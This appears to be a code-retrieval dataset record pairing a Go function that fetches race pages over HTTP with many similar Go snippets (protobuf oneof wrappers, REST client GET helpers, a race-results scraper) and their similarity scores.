[]interface{} {\n\treturn []interface{}{\n\t\t(*UplinkTXInfo_LoraModulationInfo)(nil),\n\t\t(*UplinkTXInfo_FskModulationInfo)(nil),\n\t\t(*UplinkTXInfo_LrFhssModulationInfo)(nil),\n\t}\n}", "func (*APool) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*APool_DisableHealthCheck)(nil),\n\t\t(*APool_HealthCheck)(nil),\n\t}\n}", "func (*BWP_UplinkCommon) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*BWP_UplinkCommon_ReleaseRach_ConfigCommon)(nil),\n\t\t(*BWP_UplinkCommon_SetupRach_ConfigCommon)(nil),\n\t\t(*BWP_UplinkCommon_ReleasePusch_ConfigCommon)(nil),\n\t\t(*BWP_UplinkCommon_SetupPusch_ConfigCommon)(nil),\n\t\t(*BWP_UplinkCommon_ReleasePucch_ConfigCommon)(nil),\n\t\t(*BWP_UplinkCommon_SetupPucch_ConfigCommon)(nil),\n\t}\n}", "func (*M) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*M_OneofInt32)(nil),\n\t\t(*M_OneofInt64)(nil),\n\t}\n}", "func (*LoadParams) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*LoadParams_ClosedLoop)(nil),\n\t\t(*LoadParams_Poisson)(nil),\n\t}\n}", "func (*TestnetPacketData) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestnetPacketData_NoData)(nil),\n\t\t(*TestnetPacketData_FooPacket)(nil),\n\t}\n}", "func (*M_Submessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*M_Submessage_SubmessageOneofInt32)(nil),\n\t\t(*M_Submessage_SubmessageOneofInt64)(nil),\n\t}\n}", "func (*CodebookSubType_MultiPanel) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*CodebookSubType_MultiPanel_TwoTwoOne_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_TwoFourOne_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_FourTwoOne_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_TwoTwoTwo_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_TwoEightOne_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_FourFourOne_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_TwoFourTwo_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_FourTwoTwo_TypeI_MultiPanel_Restriction)(nil),\n\t}\n}", "func (*Packet) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Packet_PacketPing)(nil),\n\t\t(*Packet_PacketPong)(nil),\n\t\t(*Packet_PacketMsg)(nil),\n\t}\n}", "func (*MetricsData) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*MetricsData_BoolValue)(nil),\n\t\t(*MetricsData_StringValue)(nil),\n\t\t(*MetricsData_Int64Value)(nil),\n\t\t(*MetricsData_DoubleValue)(nil),\n\t\t(*MetricsData_DistributionValue)(nil),\n\t}\n}", "func (*FieldType) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*FieldType_PrimitiveType_)(nil),\n\t\t(*FieldType_EnumType_)(nil),\n\t}\n}", "func (*InstructionResponse) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*InstructionResponse_Register)(nil),\n\t\t(*InstructionResponse_ProcessBundle)(nil),\n\t\t(*InstructionResponse_ProcessBundleProgress)(nil),\n\t\t(*InstructionResponse_ProcessBundleSplit)(nil),\n\t\t(*InstructionResponse_FinalizeBundle)(nil),\n\t}\n}", "func (*OpenStatusUpdate) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*OpenStatusUpdate_ChanPending)(nil),\n\t\t(*OpenStatusUpdate_ChanOpen)(nil),\n\t\t(*OpenStatusUpdate_PsbtFund)(nil),\n\t}\n}", "func (*OpenStatusUpdate) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*OpenStatusUpdate_ChanPending)(nil),\n\t\t(*OpenStatusUpdate_ChanOpen)(nil),\n\t\t(*OpenStatusUpdate_PsbtFund)(nil),\n\t}\n}", "func (*OpenStatusUpdate) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*OpenStatusUpdate_ChanPending)(nil),\n\t\t(*OpenStatusUpdate_ChanOpen)(nil),\n\t\t(*OpenStatusUpdate_PsbtFund)(nil),\n\t}\n}", "func (*Tracing) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Tracing_Zipkin_)(nil),\n\t\t(*Tracing_Lightstep_)(nil),\n\t\t(*Tracing_Datadog_)(nil),\n\t\t(*Tracing_Stackdriver_)(nil),\n\t}\n}", "func (*DynamicReplay) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*DynamicReplay_AuthRequest)(nil),\n\t\t(*DynamicReplay_AuthResponse)(nil),\n\t\t(*DynamicReplay_OutboundMessage)(nil),\n\t\t(*DynamicReplay_ReplayMessage)(nil),\n\t}\n}" ]
[ "0.88214165", "0.88021713", "0.8743008", "0.8743008", "0.8743008", "0.8743008", "0.8717406", "0.8717406", "0.8714167", "0.8713824", "0.8700613", "0.8700613", "0.87001115", "0.86874217", "0.86787724", "0.8675455", "0.8672273", "0.86698306", "0.8665908", "0.86512536", "0.8646821", "0.86386365", "0.86342514", "0.86329716", "0.863169", "0.8628287", "0.86180717", "0.8614283", "0.86121434", "0.86077875", "0.86043906", "0.8599478", "0.8591721", "0.85891396", "0.8585715", "0.8585715", "0.8585715", "0.85808307", "0.85788", "0.8578621", "0.85712314", "0.85646266", "0.85642725", "0.8562125", "0.85597765", "0.85593873", "0.8556165", "0.855444", "0.85466284", "0.85466284", "0.85466284", "0.8544794", "0.8544425", "0.85434425", "0.8543189", "0.8542546", "0.8541232", "0.85399264", "0.85389084", "0.85375434", "0.8535147", "0.8535147", "0.8535147", "0.8535147", "0.8535147", "0.8535147", "0.85265565", "0.85229486", "0.85182756", "0.85167336", "0.8515576", "0.8515508", "0.85137737", "0.85115725", "0.85110307", "0.85106057", "0.85106057", "0.85106057", "0.85106057", "0.8505778", "0.8503764", "0.85026187", "0.8500881", "0.8497405", "0.84928215", "0.84917736", "0.84903145", "0.84880537", "0.84871894", "0.84863424", "0.8485251", "0.8484042", "0.8483205", "0.8482806", "0.84800684", "0.8479984", "0.847473", "0.847473", "0.847473", "0.8472139", "0.847054" ]
0.0
-1
GetRace Runs a HTTP GET Request at an endpoint and returns the value
func GetRace(raceURL string, raceID int) (htmlResponse string, success bool) { htmlResponse = "" success = false var netTransport = &http.Transport{ Dial: (&net.Dialer{ Timeout: 5 * time.Second, }).Dial, TLSHandshakeTimeout: 5 * time.Second, } var netClient = &http.Client{ Timeout: time.Second * 10, Transport: netTransport, } urlToGet := raceURL + strconv.Itoa(raceID) response, error := netClient.Get(urlToGet) if error != nil { fmt.Println(error) return } htmlResponse = handleResponse(response, urlToGet) success = true return }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func getRace(w http.ResponseWriter, r *http.Request) {\n core_module.SetHeaders(&w)\n\n params := mux.Vars(r)\n idParam, _ := strconv.ParseUint(params[\"id\"], 10, 16)\n\n race := &DndRace{ID: uint(idParam)}\n err := core_module.Db.Model(race).WherePK().Select()\n\n if err != nil {\n w.WriteHeader(http.StatusBadRequest)\n json.NewEncoder(w).Encode(&core_module.CoreException{\n Message: \"Could not fetch!\",\n })\n log.Println(err)\n return\n }\n json.NewEncoder(w).Encode(race)\n}", "func (c *Client) Get(route string, queryValues map[string]string) (*RawResponse, error) {\n return c.doRequest(\"GET\", route, queryValues, nil)\n}", "func (c *SLOClient) Get(ctx context.Context, request SLOClientGetRequest) (*SLOResult, error) {\n\terr := NewTimeframeDelay(request.timeframe, SLORequiredDelay, SLOMaximumWait).Wait(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbody, err := c.client.Get(ctx, request.RequestString())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar result SLOResult\n\terr = json.Unmarshal(body, &result)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// for SLO - its also possible that there is an HTTP 200 but there is an error text in the error property!\n\t// Since Sprint 206 the error property is always there - but - will have the value \"NONE\" in case there is no actual error retrieving the value\n\tif result.Error != \"NONE\" {\n\t\treturn nil, fmt.Errorf(\"Dynatrace API returned an error: %s\", result.Error)\n\t}\n\n\treturn &result, nil\n}", "func (c *Client) Get(route string) (io.ReadCloser, error) {\n\t// Prepare HTTP request\n\treq, err := http.NewRequest(\"GET\", c.url+route, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Do the request over the default client\n\treturn c.performRequest(req)\n}", "func (c *Client) CurrentRiverRace(tag string) (race RiverRace, err error) {\n\tvar b []byte\n\tpath := \"/clans/%23\" + strings.ToUpper(tag) + \"/currentriverrace\"\n\tif b, err = c.get(path, map[string][]string{}); err == nil {\n\t\terr = json.Unmarshal(b, &race)\n\t}\n\treturn\n}", "func (f5 *f5LTM) get(url string, result interface{}) error {\n\treturn f5.restRequest(\"GET\", url, nil, result)\n}", "func getRaces(w http.ResponseWriter, r *http.Request) {\n core_module.SetHeaders(&w)\n\n races := []DndRace{}\n err := core_module.Db.Model(&races).Select()\n\n if err != nil {\n w.WriteHeader(http.StatusBadRequest)\n json.NewEncoder(w).Encode(&core_module.CoreException{\n Message: \"Could not fetch!\",\n })\n log.Println(err)\n return\n }\n\n json.NewEncoder(w).Encode(races)\n}", "func (c *Client) Get(url string, resType interface{}) error {\n\treturn c.CallAPI(\"GET\", url, nil, resType, true)\n}", "func httpGet(url string, details *RunDetails) string {\n\tfmt.Printf(\"INFO: Performing http get from '%s'\\n\", url)\n\ttimeout := 120\n\n\tval := details.Getenv(v1.EnvVarOperatorTimeout)\n\tif val != \"\" {\n\t\tt, err := strconv.Atoi(val)\n\t\tif err == nil {\n\t\t\ttimeout = t\n\t\t} else {\n\t\t\tfmt.Printf(\"ERROR: Invalid value set for %s '%s' using default of 120\\n\", v1.EnvVarOperatorTimeout, val)\n\t\t}\n\t}\n\n\tclient := http.Client{\n\t\tTimeout: time.Duration(timeout) * time.Second,\n\t}\n\n\tresp, err := client.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"ERROR: failed to get url %s - %s\\n\", url, err.Error())\n\t\treturn \"\"\n\t}\n\t//noinspection GoUnhandledErrorResult\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != 200 {\n\t\tfmt.Printf(\"ERROR: filed to get 200 response from %s - %s\\n\", url, resp.Status)\n\t\treturn \"\"\n\t}\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Printf(\"ERROR: filed to read response body from %s - %s\\n\", url, resp.Status)\n\t\treturn \"\"\n\t}\n\n\ts := string(body)\n\tfmt.Printf(\"INFO: Get response from '%s' was '%s'\\n\", url, s)\n\treturn s\n}", "func (r a) GetSpecific(engagementRef string) (*http.Response, []byte) {\n return r.client.Get(\"/tasks/v2/tasks/contracts/\" + engagementRef, nil)\n}", "func (t *RPCCtx) Get(w http.ResponseWriter, r *http.Request) {\n\tt.Log.Handle(w, r, nil, \"begin\", \"RPCCtx\", \"Get\")\n\n\treqCtx := r.Context()\n\twhatever := reqCtx\n\n\tt.embed.Get(whatever)\n\n\tw.WriteHeader(200)\n\n\tt.Log.Handle(w, r, nil, \"end\", \"RPCCtx\", \"Get\")\n\n}", "func Get(webURL string, params map[string]string) (string, error) {\n\tif params != nil || len(params) > 0 {\n\t\tvar paramArr []string\n\t\tfor k, v := range params {\n\t\t\tparamArr = append(paramArr, k+\"=\"+v)\n\t\t}\n\t\twebURL = webURL + \"?\" + strings.Join(paramArr, \"&\")\n\t}\n\trequest, err := http.NewRequest(http.MethodGet, webURL, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\trequest.Header.Set(\"Content-Type\", \"x-www-form-urlencoded\")\n\trequest.Header.Set(\"User-Agent\", userAgent)\n\tresp, err := client.Do(request)\n\tif resp != nil {\n\t\tdefer resp.Body.Close()\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(body), err\n}", "func runGet(cmd *cobra.Command, args []string) error {\n\tverb := \"GET\"\n\turl := \"/v1/pattern\"\n\n\tif get.ptype != \"\" {\n\t\turl += \"/\" + get.ptype\n\t}\n\n\tresp, err := web.Request(cmd, verb, url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcmd.Printf(\"\\n%s\\n\\n\", resp)\n\treturn nil\n}", "func Get(rURL string, params map[string]string) (io.ReadCloser, error) {\n\n\t// Prepare GET request\n\treq, err := http.NewRequest(\"GET\", rURL, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to create request: %s\", err)\n\t}\n\n\t// Add request options\n\treq.Header.Add(\"Accept\", \"application/json\")\n\tq := req.URL.Query()\n\n\tfor k, v := range params {\n\t\tq.Add(k, v)\n\t}\n\treq.URL.RawQuery = q.Encode()\n\n\t// Send the request\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to send request to the server: %s\", err)\n\t}\n\treturn resp.Body, nil\n}", "func (session *Session) Get(path string, params Params) (response []byte, err error) {\n\turlStr := session.getUrl(path, params)\n\tlog.Println(urlStr)\n\tresponse, err = session.sendGetRequest(urlStr)\n\treturn\n\n\t//res, err = MakeResult(response)\n\t//return\n\n}", "func (c *Client) Get(rawurl string, out interface{}) error {\n\treturn c.Do(rawurl, \"GET\", nil, out)\n}", "func (t *TestRuntime) GetData(url string) (io.ReadCloser, error) {\n\treturn t.request(\"GET\", url, nil)\n}", "func (client *Client) Get(\n\turl string,\n\tparams url.Values,\n\toptions ...interface{},\n) (io.ReadCloser, int, error) {\n\treply, err := client.request(\"GET\", url, params, nil, options...)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\treturn reply.Body, reply.StatusCode, nil\n}", "func GetResultByPath(path string, proxy string) *Race {\n\n\tvar datetime *time.Time = nil\n\tvar types *RaceType = nil\n\n\tdistance := float64(-1)\n\twinner := float64(-1)\n\tcurrency := \"\"\n\tracecourse := \"\"\n\ttRT := \"\"\n\tgoing := \"\"\n\n\treplacer := strings.NewReplacer(\"(\", \"\", \")\", \"\")\n\n\tdoc := get(path, proxy)\n\n\tif res, err := time.Parse(\"15:04 Monday 02 January 2006Z-0700\", strings.TrimSpace(doc.Find(\"h2.rp-header-text[title='Date and time of race']\").First().Text())+\"Z+0100\"); err == nil {\n\n\t\tt := res.In(time.UTC)\n\n\t\tdatetime = &t\n\t}\n\n\ttitle := strings.TrimSpace(doc.Find(\"h3.rp-header-text[title='Race title']\").First().Text())\n\n\tcategory := strings.ToUpper(strings.TrimSpace(doc.Find(\"span[title='The type of race']\").First().Text()))\n\tsurface := strings.ToUpper(strings.TrimSpace(doc.Find(\"span[title='Surface of the race']\").First().Text()))\n\n\ttRCN := strings.TrimSpace(doc.Find(\"h1[title='Racecourse name']\").First().Text())\n\n\tclass := raceClassFromTitle(title)\n\n\trt := raceTypeFromTitle(title)\n\n\ttypes = &rt\n\n\ttRT = raceTypeToString(rt)\n\n\tif c, w, err := winnerAndCurrency(strings.TrimSpace(doc.Find(\"span[title='Prize money to winner']\").First().Text())); err {\n\n\t\tcurrency = c\n\t\twinner = w\n\n\t}\n\n\tif res, err := distanceToMeters(doc.Find(\"span[title='Distance expressed in miles, furlongs and yards']\").Text()); err == nil {\n\n\t\tdistance = res\n\t}\n\n\tif r := regexp.MustCompile(`[0-9]+:[0-9]+$`).FindStringIndex(tRCN); len(r) > 0 {\n\n\t\tracecourse = nameRacecourse(strings.ToUpper(strings.TrimSpace(tRCN[:r[0]])))\n\t}\n\n\tif g, err := convertGoingToAbbreviation(strings.ToUpper(strings.TrimSpace(doc.Find(\"span[title='Race going']\").First().Text()))); err {\n\t\tgoing = g\n\t}\n\n\trunners := make(map[int64]Runner, 0)\n\n\tdoc.Find(\"table tbody.rp-table-row\").Each(func(i int, s *goquery.Selection) {\n\n\t\tisp := float64(-1)\n\t\tnum := int64(-1)\n\t\tdraw := int64(-1)\n\t\tage := int64(-1)\n\t\trating := int64(-1)\n\t\thorseID := int64(-1)\n\t\tjockeyID := int64(-1)\n\t\ttrainerID := int64(-1)\n\n\t\tpos := strings.ToUpper(strings.TrimSpace(s.Find(\"span.rp-entry-number\").First().Text()))\n\t\thorse := \"\"\n\n\t\tsHORSE := s.Find(\"a.rp-horse\").First()\n\t\ttHORSE := sHORSE.Text()\n\n\t\tsJOCKEY := s.Find(\"a[title='Jockey']\").First()\n\t\tjockey := strings.ToUpper(strings.TrimSpace(sJOCKEY.Text()))\n\n\t\tsTRAINER := s.Find(\"a[title='Trainer']\").First()\n\t\ttrainer := strings.ToUpper(strings.TrimSpace(sTRAINER.Text()))\n\n\t\tif i, err := strconv.ParseInt(strings.TrimSpace(replacer.Replace(s.Find(\"span.rp-draw\").First().Text())), 10, 64); err == nil {\n\t\t\tdraw = i\n\t\t}\n\n\t\tif h, err := sHORSE.Attr(\"href\"); err {\n\n\t\t\tif r := regexp.MustCompile(`\\/[0-9]+$`).FindStringIndex(h); len(r) > 0 {\n\n\t\t\t\tif i, err := strconv.ParseInt(h[r[0]+1:r[1]], 10, 64); err == nil {\n\n\t\t\t\t\thorseID = i\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif r := regexp.MustCompile(`^\\s*[0-9]+`).FindStringIndex(tHORSE); len(r) > 0 {\n\n\t\t\thorse = strings.TrimSpace(tHORSE[r[1]+1:])\n\n\t\t\tif i, err := strconv.ParseInt(tHORSE[r[0]:r[1]], 10, 64); err == nil {\n\n\t\t\t\tnum = i\n\t\t\t}\n\t\t}\n\n\t\tif h, err := sJOCKEY.Attr(\"href\"); err {\n\n\t\t\tif r := regexp.MustCompile(`\\/[0-9]+$`).FindStringIndex(h); len(r) > 0 {\n\n\t\t\t\tif i, err := strconv.ParseInt(h[r[0]+1:r[1]], 10, 64); err == nil {\n\n\t\t\t\t\tjockeyID = i\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif h, err := sTRAINER.Attr(\"href\"); err {\n\n\t\t\tif r := regexp.MustCompile(`\\/[0-9]+$`).FindStringIndex(h); len(r) > 0 {\n\n\t\t\t\tif i, err := strconv.ParseInt(h[r[0]+1:r[1]], 10, 64); err == nil {\n\n\t\t\t\t\ttrainerID = i\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif res, err := strconv.ParseInt(strings.TrimSpace(s.Find(\"td[title='Horse age']\").Text()), 10, 64); err == nil {\n\t\t\tage = res\n\t\t}\n\n\t\tif res, err := strconv.ParseInt(strings.TrimSpace(replacer.Replace(s.Find(\"td.rp-ageequip-hide[title='Official rating given to this horse']\").Text())), 10, 64); err == nil {\n\n\t\t\trating = res\n\t\t}\n\n\t\tif res, err := strconv.ParseFloat(strings.TrimSpace(s.Find(\"td.rp-result-sp span.price-decimal\").First().Text()), 64); err == nil {\n\n\t\t\tisp = res\n\t\t}\n\n\t\twgt := wgtToKg(s.Find(\"tr:nth-child(1) > td:nth-child(13)\").Text())\n\n\t\tif isp > 1 && wgt > 0 && num > 0 && age > 0 && horseID > 0 && jockeyID > 0 && trainerID > 0 && len(pos) > 0 && len(pos) > 0 && len(horse) > 0 && len(jockey) > 0 && len(trainer) > 0 {\n\n\t\t\trunners[num] = Runner{\n\t\t\t\tIsp: isp,\n\t\t\t\tWgt: wgt,\n\t\t\t\tNumber: num,\n\t\t\t\tDraw: draw,\n\t\t\t\tAge: age,\n\t\t\t\tRating: rating,\n\t\t\t\tHorseID: horseID,\n\t\t\t\tJockeyID: jockeyID,\n\t\t\t\tTrainerID: trainerID,\n\t\t\t\tPos: pos,\n\t\t\t\tHorse: horse,\n\t\t\t\tJockey: jockey,\n\t\t\t\tTrainer: trainer,\n\t\t\t}\n\t\t}\n\t})\n\n\tif datetime != nil && types != nil && distance > 0 && len(title) > 0 && len(currency) > 0 && winner > 0 && len(tRT) > 0 && len(category) > 0 && len(racecourse) > 0 && len(going) > 0 && len(runners) > 0 {\n\n\t\trace := Race{\n\t\t\tDatetime: *datetime,\n\t\t\tDistance: distance,\n\t\t\tClass: class,\n\t\t\tTitle: title,\n\t\t\tCurrency: currency,\n\t\t\tWinner: winner,\n\t\t\tRaceType: tRT,\n\t\t\tCategory: category,\n\t\t\tSurface: surface,\n\t\t\tRacecourse: racecourse,\n\t\t\tGoing: going,\n\t\t\tTypes: *types,\n\t\t\tRunners: runners,\n\t\t}\n\n\t\treturn &race\n\t}\n\n\treturn nil\n}", "func (c *Client) doGet(rsrc string) ([]byte, error) {\n\tvar (\n\t\tbody []byte\n\t\terr error\n\t\tresp *http.Response\n\t)\n\n\tif resp, err = c.httpC.Get(c.formURL(rsrc)); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, core.Errorf(\"Response status: %q. Response Body: %+v\", resp.Status, resp.Body)\n\t}\n\n\tif body, err = ioutil.ReadAll(resp.Body); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn body, nil\n}", "func (api *API) GetLeague(ctx context.Context, leagueID string, page int) (*models.Resource, error) {\n\tmethod := \"GET\"\n\tpageString := strconv.Itoa(page)\n\tpath := api.URI + \"/leagues-classic/\" + leagueID + \"/standings/?page_standings=\" + pageString\n\tlogData := log.Data{\"url\": path, \"method\": method}\n\n\tURL, err := url.Parse(path)\n\tif err != nil {\n\t\tlog.Event(ctx, \"failed to create url for api call\", log.ERROR, log.Error(err), logData)\n\t\treturn nil, err\n\t}\n\tpath = URL.String()\n\tlogData[\"url\"] = path\n\n\tbody, err := api.makeGetRequest(ctx, method, path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar resource models.Resource\n\tif err := json.NewDecoder(body).Decode(&resource); err != nil {\n\t\tlog.Event(ctx, \"unable to unmarshal bytes into league resource\", log.ERROR, log.Error(err), logData)\n\t\treturn nil, err\n\t}\n\n\t// Check and retrieve other pages\n\tif resource.Standings != nil && resource.Standings.HasNext {\n\t\tpage++\n\t\tnext, err := api.GetLeague(ctx, leagueID, page)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tresource.Standings.Results = append(resource.Standings.Results, next.Standings.Results...)\n\t}\n\n\tlog.Event(ctx, \"successfully got league\", log.INFO, log.Data{\"resource\": resource})\n\n\treturn &resource, nil\n}", "func Get(url, token string) {\n\t// Create a Resty Client\n\tclient := resty.New()\n\tclient.SetAuthToken(token)\n\n\tresp, err := client.R().\n\t\tEnableTrace().\n\t\tGet(url)\n\n\t// Explore response object\n\tfmt.Println(\"Response Info:\")\n\tfmt.Println(\" Error :\", err)\n\tfmt.Println(\" Status Code:\", resp.StatusCode())\n\tfmt.Println(\" Status :\", resp.Status())\n\tfmt.Println(\" Proto :\", resp.Proto())\n\tfmt.Println(\" Time :\", resp.Time())\n\tfmt.Println(\" Received At:\", resp.ReceivedAt())\n\tfmt.Println(\" Body :\\n\", resp)\n\tfmt.Println()\n}", "func (client *Client) Get(action string, params url.Values, header http.Header) (*Response, error) {\r\n\treturn client.Request(\"GET\", action, params, header, nil)\r\n}", "func Get(url string, r io.Reader, w io.Writer, clientGenerator func() *http.Client, reqTuner ...func(*http.Request)) error {\n\treturn Request(\"GET\", url, r, w, clientGenerator, reqTuner...)\n}", "func (c *Client) Get(url string, headers map[string]string, params map[string]interface{}) (*APIResponse, error) {\n\tfinalURL := c.baseURL + url\n\tr, err := http.NewRequest(\"GET\", finalURL, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to create request: %v\", err)\n\t}\n\n\treturn c.performRequest(r, headers, params)\n}", "func (t *ApiTester) Get(route string) (*ApiTesterResponse, error) {\n\t// prepare the request here\n\trequest, err := http.NewRequest(\"GET\", \"http://\"+t.Server.Listener.Addr().String()+route, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// do the actual request here\n\tresponse, err := t.Client.Do(request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbodyBuffer, _ := ioutil.ReadAll(response.Body)\n\n\treturn &ApiTesterResponse{\n\t\tRawResponse: response,\n\t\tStatusCode: response.StatusCode,\n\t\tBodyStr: string(bodyBuffer),\n\t}, nil\n}", "func (c *Client) get(rawURL string, authenticate bool, out interface{}) error {\n\terr := c.do(rawURL, \"GET\", authenticate, http.StatusOK, nil, out)\n\treturn errio.Error(err)\n}", "func (mc *Controller) getRequest(requestParams driver.RequestType, postResponse driver.PostResponseType) driver.GetResponseType {\n\tlog.Debug().Msgf(\"Executing: getRequest.\")\n\tpolling := &backoff.Backoff{\n\t\tMin: 5 * time.Second,\n\t\tMax: 120 * time.Second,\n\t\tFactor: 2,\n\t\tJitter: false,\n\t}\n\tvar apiResponse *http.Response\n\trequestData := utils.HTTPRequestType{\n\t\tMethod: http.MethodGet,\n\t\tEndpoint: APIStackAnalyses + \"/\" + postResponse.ID,\n\t\tThreeScaleToken: requestParams.ThreeScaleToken,\n\t\tHost: requestParams.Host,\n\t\tUserID: requestParams.UserID,\n\t}\n\tfor {\n\t\td := polling.Duration()\n\t\tlog.Debug().Msgf(\"Sleeping for %s\", d)\n\t\ttime.Sleep(d)\n\t\tapiResponse = utils.HTTPRequest(requestData)\n\t\tif apiResponse.StatusCode != http.StatusAccepted {\n\t\t\t// Break when server returns anything other than 202.\n\t\t\tbreak\n\t\t}\n\t\tlog.Debug().Msgf(\"Retrying...\")\n\t}\n\tbody := mc.validateGetResponse(apiResponse)\n\treturn body\n}", "func (workCloud *WorkCloud) get(url string) (string, error) {\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treq.Header.Add(\"User-Agent\", workCloud.agent)\n\n\tres, err := workCloud.client.Do(req)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer res.Body.Close()\n\tb, err := ioutil.ReadAll(res.Body)\n\n\treturn string(b), nil\n}", "func TezosRPCGet(arg string) (string, error){\n output, err := TezosDo(\"rpc\", \"get\", arg)\n if (err != nil){\n return output, errors.New(\"Could not rpc get \" + arg + \" : tezosDo(args ...string) failed: \" + err.Error())\n }\n return output, nil\n}", "func (c *NATSTestClient) GetRequest(t *testing.T) *Request {\n\tselect {\n\tcase r := <-c.reqs:\n\t\treturn r\n\tcase <-time.After(timeoutSeconds * time.Second):\n\t\tif t == nil {\n\t\t\tpprof.Lookup(\"goroutine\").WriteTo(os.Stdout, 1)\n\t\t\tpanic(\"expected a request but found none\")\n\t\t} else {\n\t\t\tt.Fatal(\"expected a request but found none\")\n\t\t}\n\t}\n\treturn nil\n}", "func (cm *clientMock) GetValue(url string) (*http.Response, error) {\n\treturn getRequestFunc(url)\n}", "func (a *Client) GetUniverseRaces(params *GetUniverseRacesParams) (*GetUniverseRacesOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetUniverseRacesParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"get_universe_races\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/universe/races/\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &GetUniverseRacesReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*GetUniverseRacesOK), nil\n\n}", "func (c *Client) Get(endpoint string, params map[string]string) *grequests.Response {\n\turl := c.Endpoint + endpoint\n\tresp, err := grequests.Get(url, &grequests.RequestOptions{\n\t\tParams: params,\n\t})\n\tif err != nil {\n\t\tutilities.CheckError(resp.Error, \"Unable to make requests\")\n\t}\n\n\tif resp.Ok != true {\n\t\tlog.Println(\"Request did not return OK\")\n\t}\n\n\treturn resp\n}", "func Get(url string, data ...interface{}) (*ClientResponse, error) {\n\treturn DoRequest(\"GET\", url, data...)\n}", "func Get(r *Resource) {\n\tchanJobs <- r\n}", "func (y *Yeelight) CronGet(t string) string {\n\tcmd := `{\"id\":13,\"method\":\"cron_get\",\"params\":[` + t + `]}`\n\treturn y.request(cmd)\n}", "func Get(url string, externalHeader ...map[string]string) ([]byte, error) {\n\t// check if request hit MaxParallel\n\tif cache.IsBurst(url) {\n\t\treturn nil, ErrMaxParallel\n\t}\n\tdefer cache.Release(url)\n\n\treq, err := http.NewRequest(http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Header.Set(\"Accept\", \"application/json\")\n\n\tfor _, v := range externalHeader {\n\t\tfor k := range v {\n\t\t\treq.Header.Set(k, v[k])\n\t\t}\n\t}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tvar bf bytes.Buffer\n\tpooledCopy(&bf, resp.Body)\n\treturn bf.Bytes(), nil\n}", "func fnHttpGet(t *starlark.Thread, fn *starlark.Builtin, args starlark.Tuple, kwargs 